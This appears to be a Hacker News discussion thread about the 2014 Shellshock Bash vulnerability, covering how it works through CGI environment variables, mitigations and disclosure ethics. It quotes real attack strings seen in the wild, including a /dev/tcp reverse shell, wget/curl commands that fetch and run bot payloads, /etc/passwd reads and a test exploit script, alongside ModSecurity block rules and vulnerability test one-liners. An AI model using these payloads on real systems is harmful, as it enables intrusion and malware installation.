Everything you need to know about the Shellshock Bash bug
troyhunt.com
troyhunt.com
() { :;}; /bin/ping -c 1 198.x.x.x
() { :;}; echo shellshock-scan > /dev/udp/example.com/1234
() { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
() { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
() { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
() { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
() { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &
It could do a lot of good for people and be a great PR move at the same time.
EDIT after OP's edit.
Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.
EDIT2 after clarification downthread, previous edit is to be disregarded.
(Note: I removed sentence about CloudFlare pricing from previous comment to avoid any confusion about monetization)
Thank you for clarification!
If this is a disaster-relief thing-y, CloudFlare should then be eligible to receive government money later. I doubt that would be even considered by any parties.
https://blog.cloudflare.com/shellshock-protection-enabled-fo...
https://access.redhat.com/articles/1200223
SecRule REQUEST_HEADERS: "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule FILES_NAMES "^\(\) {" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq
Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22
That site is still up and serving right now if anyone wants to take a look.
I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.
All your customers should be protected automatically.
P.S. I'm a big fan of Cloudflare.
http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc...
Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan).
Our team is giving is free for 30 days to help out.
Details: https://sucuri.net/website-firewall/
*Just email info@sucuri.net and they will get you hooked up.
thanks,
If you find any more of them, do you think you could publish their checksums?
1. Web server (apache) gets request to route to CGI script (PHP)
2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables, so PHP can access them
3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash)
4. bash interprets the environment variables set by apache
The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as well
Hopefully this answers the "how does the exploit get from the browser to bash?"
Further question: "If I do not use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up).
Additional note about PHP: disabling all these passthru type functions has been recommended for years: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...
- that environments are inherited by child processes. - It's not just Web servers that might execute scripts (DHCP could also be vulnerable, SSH with command restrictions, many other things too).
That's the big shitstorm about this bug. It's very hard to determine when you're actually vulnerable. The safest thing to do is to upgrade bash everywhere. But wait! The patches they rolled out don't actually fix the issue all that well. So there's no easy one-stop guide you can follow to fix this. Everybody actually has to think about every single system that might potentially be vulnerable and come up with a good solution all by themselves.
But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?
Then in my cgi script I do a harmless system('date') call. The file /tmp/shellshocked won't be created right? The file would have been created had I done for example a system('echo $HTTP_USER_AGENT') call. (That is, one needs to explicitly reference the environment variable that gets passed to bash). Is my understanding correct?
echo $0 -> bash
ls -l /bin/sh -> /bin/bash
GNU bash, version 3.1.17(2)-release
Apache/2.2.25
#test-cgi.pl
use strict;
use warnings;
use CGI;
print "Content-Type: text/plain\n\n";
my $q = CGI->new();
print "\nHEADERS:\n==============\n";
my %headers = map { $_ => $q->http($_) } $q->http();
foreach my $k ( keys %headers ) {
print "$k\n $headers{$k}\n";
}
system("echo hello");
#request.py
import socket
def build_request(meth, host, path, headers=None):
req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path, host)
if headers is not None:
req = req + "\r\n".join(headers) + "\r\n"
return req + "\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip_addr = 'xxx.xxx.xxx.xxx'
sock.connect((ip_addr, 80))
headers = [
'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',
]
req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers)
sock.sendall(req)If there is only one scalar argument, the argument is checked for shell metacharacters, and if there are any, the entire argument is passed to the system's command shell for parsing (this is "/bin/sh -c" on Unix platforms, but varies on other platforms). If there are no shell metacharacters in the argument, it is split into words and passed directly to "execvp", which is more efficient.
So your example does not invoke the shell.
1: Why does Bash "interpret" the environment variables' values? What is the expected result of setting a function definition as the value of an environment variable? In my worldview (which is clearly wrong) there is no reason for Bash to look at environment variables' values until they're evaluated.
2: This is probably besides the point: but since when is the empty string a valid function name? I can't get Bash to accept "() { :; }" (as opposed to "f() { :; }" as valid bash.
Edit: see my self-reply for answers.
Basically, Bash interprets environment variables at start up as a means for you to pass functions into subshells. Whenever an environment variable's value starts with "() {", it is interpreted as a function, which is named according to the environment variable's name.
I guess even without the bug under discussion this feature is a theoretical security flaw. If you set your user agent to "() { ping your.domain.com}", a function named HTTP_USER_AGENT, which pinged your.domain.com would exist in any shellThe name of the function is passed as the Apache spawned. It's not hard to imagine a buggy script accidentally executing it.
My understanding was that although regular CGI respawns the command interpreter every time the web server is queried, FastCGI reuses the same command interpreter and just updates the environment.
I mean, looking at it from an outside perspective, I can interpret #4 as working as intendeed (attacker calls my shell with arbitrary parameters and, naturally, my shell does arbitrary things controlled by the attacker), and #2 as a total WTF - why is apache passing arbitrary input data to global-scoped (as in, affecting the subsequent bash invocations) environment variables; and can it stop doing it? If not, why is apache passing this data without any verification/sanitization/escaping, and can it stop doing it?
The fixes to the bash flaw seem like a band-aid - if some web service invokes other programs that somehow get called with attacker-defined environment variables, then it seems like a potential for future exploits on other targets than bash; many other things will change their behavior depending on the environment vars.
The HTTP_ environment variables are user input.
The PHP (or whatever CGI script) should be sanitizing user input before using it.
If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']);
Nobody would be freaking out... because that's just stupid.
Furthermore, in the sample attacks the php scripts don't 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean checking for any possible HTTP_ environment variables and explicitly altering them even if the script doesn't recognize them - which seems ridiculous as well.
bash is not, seems pretty obvious
export evil='() { :;}; exit';
echo $evil
bash
Imagine a dev using eval() in PHP. The PHP interpreter creates a new environment, executes your (presumably sanitized) code, but also automatically calls eval on every global variable in your app.
That would be a huge bug in PHP, and it's the equivalent of what bash is doing.
The people who wrote the CGI spec didn't expect that to happen at startup.
csh and zsh don't do it, and I can't think of any reason why someone would want that.
CGI was always a kludge, and envvars weren't a great choice, but they were presumed to be safe for arbitrary data.
As of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace:
http://www.openwall.com/lists/oss-security/2014/09/25/13
Especially in high-value or high-risk scenarios, you may want to give it a try. And if you're interested in the reasons why the original patch is problematic, check out:
http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-b...
It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username']....
But this is far more dangerous -- injecting malicious SQL can reveal data, or break things. Injecting malicious bash commands can reconfigure your server to do whatever they like.
Now I understand what all the security people who said "never use system(). Never, ever" meant.
All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process.
The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead.
More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
Edit: also, if you have ssh access to a non-login account, like for git access, this could execute commands on the remote host as if you had a shell.
I'm just pondering all the python library code out there which relies on calls to subprocess.Popen() to get things done. It seems like dynamic scripting languages with a tendancy to shell out to the system could be at risk of this or similar attacks.
(avoiding implicit shell=True was one of the motivations for the subprocess module)
Honestly, I'm having trouble seeing how this is the end of the world vulnerability that it's being hyped as.
Mining username/passwords is probably going to be pretty simple. I wonder how many of these machines have credit card numbers stored in the clear? I'd bet that there's a bank somewhere running in exactly that configuration.
It's a big deal.
I was also very confused about why a web server would need to store HTTP headers in environment variables. Why would a mature piece of software like Apache do something so hackish? The explanation turns out to be very simple: it's how CGI works. Headers are passed to the CGI script as environment variables. If you don't do it that way, you don't support CGI.
There's one thing that still confuses me, though: why would a CGI implementation use the shell to set environment variables? Why would you use a complex, idiosyncratic piece of software that comes in many different flavors instead of just using the C setenv function?
This is exactly my question; that, and: if this is so, then isn't any script that uses mod_cgi (e.g., PHP, Perl, etc.) vulnerable? Yet there are multiple statements that only cgi scripts written in bash are vulnerable.
I haven't been able to resolve this apparent inconsistency in the description of how the bug works in the case of CGI, which may be a critical factor in understanding ones own vulnerability. What exactly is the order of execution here in the case of mod_cgi?
1. Attacker somehow gets to set an environment variable. Since CGI converts HTTP headers to env vars (Host: -> HTTP_HOST, etc), a CGI-enabled server is an easy way to make this happen.
Step 1 on its own would be alarming but ultimately harmless--the variables may contain malicious values, but they can't be used to hurt you if you treat them as untrusted or don't even read them. But since this is *nix, those possibly malicious vars will be inherited by children spawned by the affected process.
If one of those children is Bash, then (regardless of the shell command):
2. When starting up, the Bash process will parse the currently defined environment for things that look like functions and import them. The "ShellShock" portion of this bug is that the parser will keep parsing past the function's closing brace, which means it runs whatever trailing code might be there. Of that trailing code was set by an attacker, with the expectation that you'd start a vulnerable Bash, you're owned.
To me, what seems disturbing isn't the extent of the vulnerability, but how long it took for someone to notice it. How many other "shallow" bugs like this one have been missed by the proverbial many eyes?
Thank you, gentle responder.
If you're running a php/perl/python/ruby script as a cgi script in your web server, and that script calls system() or some variant thereof (backticks in perl, os.system in python), then you're vulnerable to this.
Not many people does that, but those who do won't be things you think of as web applications. They're going to be web control panels you installed and forgot about, or cheap home routers that nobody knows who made the firmware to.
(Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)
(Caveat: typically it has to be a certain user)
I'm ashamed to admit I used to think that was convenient. It makes systems infinitely more vulnerable in the event of an RCE bug.
> its not like this is a logged in ssh session
That's not correct -- whatever user is executing your CGI scripts is the "logged-in" user in bash, right?
Obviously that user should be quite locked down, and should not be allowed to run sudo at all, let alone without a password... but there are so many amateur server admins out there that I imagine there are quite a few servers where this is a serious problem (with or without sudo access enabled for the executing user).
That's not benevolent that's intrusion. Nobody has the right to take it upon themselves to determine what someone else should be doing in this case. I would imagine that an action like that would also clearly violate a law or two (I'm sure others more knowledgeable could cite the law).
You encounter a car parked on the side of the road in the middle of nowhere. Its windows are rolled down. Storm clouds are rumbling nearby and it's obviously about to rain. There's nobody around but you.
Do you also consider rolling up the windows to be intrusion?
Personally I'd feel an ethical obligation to help the stranger out by preventing damage to his/her property. However I can completely understand people leaving well-enough alone.
Law aside, I'm much more on the fence about people automatically scanning for and "fixing" vulnerabilities, however. On one hand, how do you know you're really helping? On the other, as someone who's maintained a server or two, I'd rather be solving problems caused by a well-intentioned whitehat than miss problems caused by ill-intentioned blackhats.
Yes definitely. Really no different than if you would want someone to enter your house to close your windows.
Now you might say "well what if it can be done from the outside" without entering?
That is a bit different.
Except for one thing. What if someone saw you doing that? What if the owner saw you doing that and didn't know why you were messing with their car? (I had this happen with a boat one time btw.). There is an immediately sense of shock because you don't know what is going on. And in that case who knows what will happen? Maybe they might start a fight or shoot you. That's not good for anyone. Maybe they have something valuable in the car that they think you are going after. Maybe they have serious mental problems.
Here's the point. It's one thing if you see a baby in a hot car and decide to take action. The benefit outweighs the risks. But it's another thing if you decide to roll up the windows to prevent someone's car from getting wet inside (covered by homeowners insurance with low deductible in many cases ntim though). Different story. Make sense?
Aside from the "it's not yours to fix" angle, you have to weigh the moral benefits of possibly patching the exploit, possibly crashing the application (I bet this is much more likely than a successful fix at this point), and wait-and-seeing whether the application owner patches the exploit on their own (along with the risk of a compromise in the mean time).
Edit: Of course there are a slew of legal issues with attempting this as well.
echo You are vulnerable to shellshock | wall
For a high school science research course I did an epidemiological modeling study on how "good" reverse-worms might affect the spread of infection, they're a pretty interesting thought experiment. With something involving exponential growth like this, early movers have a significant advantage.
As far as I know, there hasn't been a successful reverse-worm that did not accidentally cause worse issues (flooding local networks with a high density set of boxes doing over-zealous scanning, or accidentally destroying boxes due to a slapdash narrowly tested script).
Reverse-worms they can either wait around, detecting requests from infected-but-not-patched systems to re-infect and patch them—or just start scanning IP ranges themselves. The former feels somewhat less pernicious. "Try to infect this computer, you will be patched and help patch." But that relies on other worms not patching their zombies.
Put a "#" in front of
LoadModule cgi_module modules/mod_cgi.so
in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts from even being loaded with Apache, and will totally disable all CGI scripts. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
This will break CPanel, but not non-CGI admin tools such as Webmin. I can't say anything about PHP; we don't use it.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
The source is on "i3d.net", which is a hosting service in Rotterdam NL. So someone is running probes from something bigger than a desktop. I sent their support people a note.
For instance, msysgit has the vulnerability[1]:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
The best solution I could think of as a work around is to install dash, replace the /bin/sh symlink pointing to dash, and then chown/chmod bash so that only those specific users who need to use it can use it. This isn't perfect, because it could still be affected by web services that run as users that would then have access to bash via their member group(s), or because a web service might rely on another application that itself requires specific bashisms in order to function.
This is why abandoning correctness for convenience can be dangerous.
I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?
The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and “knew” that only trusted code ran on that system.
I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.
"Of course one means of mitigating this particular attack vector is simply to disable any CGI functionality that makes calls to a shell"
If you're on Ubuntu:
a2dismod cgi
service apache2 restart
All this has made me a bit nervous though. I certainly didn't change the system to use bash instead of dash.
For Apache, I believe /bin/sh (or the shell it points to) is what's at issue here. [2]
[1] http://unix.stackexchange.com/questions/38175/difference-bet...
[2] http://security.stackexchange.com/questions/68146/how-do-i-s...
(This is also discussed earlier in the thread.)
Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to /bin/sh (note this isn't the homonym env variable, that would be a serious problem if it was since shellshock allows setting env variables by other means that are very public by now).
In a system I have access to, the installation procedure for some servers (not webserver necessarily) includes creating users with a full environment to be able to issue commands for these servers at a higher privilege. At the creation of these users, Ubuntu Server assigned them bash as their shell. I wonder if they're attackable at their public ports, but I haven't bothered trying to find attacking vectors since they were in production and the sysadmin got rid of bash as soon as he could. Not giving much detail here since I assume there will be plenty of compromised servers in the wild right now, including DB servers, proxies, etc.
system("echo 'hello world'");
exploiter -> machine -> conduit (in this case, a web server) -> bash command through scripting language
but that doesn't really make sense to me. if it's in the header as a cookie header, in php that would require something like this:
$someVar = $_COOKIE['somecookiekey']; exec($someVar);
this is a super fringe case, and wouldn't warrant this big of a deal. for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash.
otherwise the risk is super minimal, so I don't think it's a matter of making system/exec calls on user-supplied data.
Your "exec($SomeVar)" example is a standard, unsanitized-input-passed-to-command-line type bug.
Shellshock does something fundamentally different. Everything on the actual command line is irrelevant to shellshock.
What happens is that the child Bash inherits env vars from the parent (which is often the web server). The shellshock bug is that the ENV VARS THEMSELVES are evaluated by bash as instructions.
Your actual PHP or whatever can be fully up to best-practices, sanitizing cookies and inputs, etc., and still fall vulnerable if one of the server-set environment variables like HTTP_ACCEPT_LANGUAGE has a malicious payload and ANYWHERE in your code, a subsequent system() call deep within some imported module gets fired off.
You're confirming the suspicion that I had. To wit:
"for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash."
Not a buffer overflow, but if those headers are being fed upwards into bash, that's what we're both talking about.
This is not required for exploiting the vulnerability at hand.
Under the hood, system("echo foo") does a fork, and in the child process does execv(["/bin/sh", "-c", "echo", "foo"], env...)
The full chain of the attack:
Request sent to the url, containing headers with '() { :;}; codehere'
Per CGI standard: environment variables are set with the attack code.
PHP is executed directly, with the environment containing the attack.
PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash.
N.B. - If /bin/sh is not bash, but the program executed by system() itself executes a call to system() which points to something explicitly calling a bash ( apply this if recursively), the exploit is triggered.
It's not about passing "arguments" on the command line, its about what the environment variables are. It's not always immediately obvious how the env vars are constructed - everyone points to CGI because it's a well known scenario, but there are plenty of other cases where environment variables are set from user data.
tl; dr - in any situation user input is used in environment variables, simply calling /bin/bash is enough.
https://news.ycombinator.com/item?id=8369443
right?
I also used this to list my containers:
docker ps -la -n=100
docker images
docker run -i -t ubuntu /bin/bash
env X="() { :;} ; echo busted" `which bash` -c "echo completed"
Edit: Updating the container then committing it (Docker terminology) should ensure that container stays updated, though any new runs creating new containers would continue to be vulnerable I suspect until Docker patches them or whomever would be responsible to do so.
Add the configuration from this page https://access.redhat.com/solutions/1207723 to your Apache or nginx config to deny malicious HTTP requests.
Debian isn't low volume: https://lists.debian.org/debian-security-announce/2014/threa...
Arch isn't high volume enough(!) https://mailman.archlinux.org/pipermail/arch-security/
Arch recommends the oss-security list, which is all too high volume http://www.openwall.com/lists/oss-security/2014/09/
env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
(Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)
But then I tried this command and it echoed "vulnerable". env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely.
So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (and other places where "/bin/sh --version" indicates that it's bash) first.
Is anyone up for educating me?
I see http request -> apache -> env variables -> php
What am I missing?
More modern interfaces between dynamic code and webservers, like even FastCGI or SCGI or dozens of others do not pass user data over Environment variables, and instead pass data in various protocols over a socket.
(I guess that's basically what it's doing?)
git='() { echo hello; }' bash -c git
Though IMO, yes this is risky.
Ok, bash needs to transfer function definitions to child processes in order to implement something called inherited functions, and I guess you could argue that an environment variable is a reasonable place to store them. But WHY THE HELL does bash have to use the function name as the variable name?!? That's just insane to me...
Any sane programmer would store that shit in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS"). Why doesn't bash do that?!?
I wonder how that is justified, since my question generated 10 informative replies, five levels deep.
Does anyone dare to tell me why they downvoted my comment?
The issue is that bash takes it upon itself to parse all environment variables for functions, and accidentally executes some of them.
If you (or any libraries you use) do not shell out or if you're using php_fpm (which clears the env and passes headers out of the environment), the. You are safe.
Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.
Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.
What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.
How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.
How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.
What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.
How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.
What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical).
Updates to this briefing will provided as the situation develops.
All the managers I know will stop reading after this, sit back and think "aaah, those silly techies. Worrying about nothing".
I gave exactly the opposite advice: We should assume every public and non-public facing system is vulnerable (many were). I'd rather cause a big stinky scare and be proven wrong than downplaying the issue and being proven wrong.. the hard way.
You probably had a good reason for saying this to your organisation, but it's not something that other people should blindly re-use for their own purposes.
To be fair to you and to me, I can understand your take on what I posted but what I posted was redacted to remove organization-identifying information. A better redaction would perhaps have been Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock.
What kind of variants? Doppelgänger? Clones? SCNR
EDIT: Or not - the edit button has gone. Ah well.
... which is, in turn, a variant of Richard.
This would be a major risk, IMHO.
My experiments with
#!/usr/bin/env -i sh
and
#!/usr/bin/env - sh
...have not obtained what I'm after.
The problem being that functions take precedence over names in the file system, so
bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar'
oopshttp://ftp.gnu.org/pub/gnu/bash/
Just had to manually patch a CentOS4 legacy system.
What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?
Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?
You find a lot of that type in education/local government.
(ancient openssl never had tls heartbeat feature)
But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017
https://access.redhat.com/support/policy/updates/errata#th-r...
CentOS simply decided not to keep up with it anymore, cannot blame them.
Variety is the spice of life, and all that...
$ uptime
07:26:20 up 3280 days, 16:23, 2 users, load average: 0.00, 0.00, 0.00
$ cat /etc/issue
Debian GNU/Linux 3.1 \n \l
"() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
$ /usr/bin/env - /usr/local/bin/bash -c set sh
BASH=/usr/local/bin/bash
...I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??
Edit: just saw https://news.ycombinator.com/item?id=8367086 - may look into that a little more.
I think the risk of breaking something is outweighed by the risk of exploit.
What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc.
I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
$ grep nginx /etc/passwd
nginx:x:105:111:nginx user,,,:/nonexistent:/bin/false
I think I'm safe. Now installing updates patches bash.
Anyway, I've seen that syntax before (I'm talking of years here), on #bash in freenode.
Simply nobody did apply this from a security view point in the channel...
ps -p $$
echo $0 (command name that was used to invoke the shell)
Not reliable: echo $SHELL (preferred shell for the user, not necessarily what is running)
Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.
MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.
- https://technet.microsoft.com/en-us/library/security/dn63193...
I don't know where to get the multitude of security advisories for Unix systems listed all in one spot, but here are some links for popular distros:
- https://www.debian.org/security/
- https://access.redhat.com/security/updates/active/
- http://www.slackware.com/security/list.php?l=slackware-secur...
Anyone know where to go in order to get the Unix vulns all in one list?
Yes, certainly.
On the other hand, despite the premise of open source that 'many eyes make all bugs shallow', the amount of code in the wild and the complexity of it (and the diversity of implementation languages) has pretty much guaranteed that there's more code than possible coverage.
No one has to come up with clever marketing for Microsoft exploits because everyone expects there to be tons of them, given the level of complexity, and that Microsoft will push patches for them, because it affects their bottom line. Meanwhile, it seems in the open source world, you need PR campaigns to goad the community into due diligence.
If people could casually look at code and see vulnerabilities, then we wouldn't have any.
Also: MS Shared Source initiative
Although your point about the methods of exploits changing the dynamic is valid.
>Also: MS Shared Source initiative
Fair point.
I think you're dismissing the level of experience, smarts, and inter-disciplinary knowledge it takes to find a bug like this. More than likely, even those with all those skills and at the 1% of them can't just eyeball code and go, "Ah yes, here." They're instead writing a lot of little tools and seeing what they can break. Then they go back, see what broke, and work out if its possible to exploit that exception or crash condition.
These types of tools and methods work just as well with closed source. Attacking closed source seems very unfair to me in these scenarios.
They could, but they don't. Same way I can look at the sky and see an asteroid. Possible? Sure. Likely? Not without some pretty advanced tools or a hell of a lot of luck.
Kind of a broad statement there, isn't it?
By your logic - Where do zero day Windows vulnerabilities come from then? People outside of Microsoft have certainly reported security issues to Microsoft in the past.
Edit: Just to be clear, even using system / exec etc is not affected as the environment variables are not passed along to the sub process by the apache sapi.
Nginx + fpm not vulnerable?
If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?
If you choose not to upgrade bash, you are trusting that none of the code on your system uses bash in this way. It's extremely unlikely that the vectors that have been publicized so far are the only major ones.
I'm not advocating not updating, I'm just trying to understand what to do with this info for say, my hosted project that _doesn't set env vars nor invoke bash_.
Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.
Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.
This is definitely not going to affect just a few legacy CGI sites.
Dunno if that is on by default or not though.
But you aren't going to get into its cgi interface without login so that would have to be cracked first.
Try /cgi-sys/guestbook.cgi on any cPanel website for example (a random Google example: https://www.vidahost.com/cgi-sys/guestbook.cgi)
Of course it's possible that other CGI apps will execute a shell at some point, and that there's bound to be plenty of servers that are exploitable. But the number of SSL-bearing sites, and the sheer number of users (I mean, hundreds of millions, at least) that were exposed due to such gigantic sites having a huge hole for so long, meant that virtually everyone's personal information was vulnerable, immediately, to say nothing of stealing SSL keys.
